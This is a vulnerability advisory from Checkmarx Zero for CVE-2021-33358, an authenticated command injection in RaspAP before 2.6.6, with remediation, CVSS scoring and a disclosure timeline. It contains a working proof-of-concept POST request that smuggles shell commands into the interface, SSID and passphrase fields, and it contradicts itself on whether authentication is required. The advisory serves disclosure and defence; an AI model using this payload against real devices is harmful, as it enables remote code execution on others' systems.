--- title: "CX-2021-4796" date: "2021-06-21T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4796/" --- # CX-2021-4796 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) Fixed: May 10, 2021 CVE-2021-33358 **Published:** Jun 21, 2021 9.9 Critical Severity Command Injection IOT RaspAP RCE Remote Code Execution OI Omri Inbar Reported by Checkmarx Zero Details Overview ## Summary RaspAP prior to version 2.6.6 is vulnerable to Authenticated Command Injection ## Product RaspAP prior to 2.6.6 ## Impact An unauthenticated attacker can execute arbitrary OS commands on any RaspAP instance prior tp 2.6.6. This can be chained with a privilege escalation exploit (CVE-2021-33356) to achieve root access. ## Steps to reproduce 1. After authenticating, send the following POST request to the RaspAP host: ``` POST /hostapd_conf HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 355 Origin: http://localhost Authorization: Basic YWRtaW46c2VjcmV0 Connection: close Referer: http://localhost/hostapd_conf Cookie: PHPSESSID=j99hb7n50dp4d26no5ccnjhf2o Upgrade-Insecure-Requests: 1 ``` csrf\_token=ce138993d5ecd5d041fb805425ab069d700251a1be50e2ade5d51c5fa084f282&interface=lo;touch%20/tmp/checkinterface;&ssid=%24%28touch+%2Ftmp%2Fcheckssid%29&hw\_mode=g&channel=1&wpa=2&wpa\_pairwise=CCMP&wpa\_passphrase=%24%28touch+%2Ftmp%2Fcheckpass%29&beaconintervalEnable=1&beacon\_interval=100&max\_num\_sta=&country\_code=AF&SaveHostAPDSettings=Save+settings ``` The injectable parameters are "interface", "ssid" and "wpa_passphrase". ### Expected result: The request will write empty files to /tmp/checkinterface, /tmp/checkssid and /tmp/checkpass. ``` ## Remediation This issue was fixed in version 2.6.6 through the [commit](https://github.com/RaspAP/raspap-webgui/commit/061d01cbd56411adbe52a313ff8d04e2bfa893bc). ## Credit This issue was discovered and reported by Checkmarx Security Researcher [Omri Inbar](https://www.linkedin.com/in/omri-inbar-4629a6110/). ## Resources 1. [(cae2031)](https://github.com/RaspAP/raspap-webgui/commit/061d01cbd56411adbe52a313ff8d04e2bfa893bc) 0 Critical Severity CVSS v3.1 Score 9.9 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: Low - User Interaction: None - Scope: Changed - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: High Advisory Timeline1. Disclosed Apr 21, 2021 Notified the maintainer 2. Fixed May 10, 2021 Fix got released ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)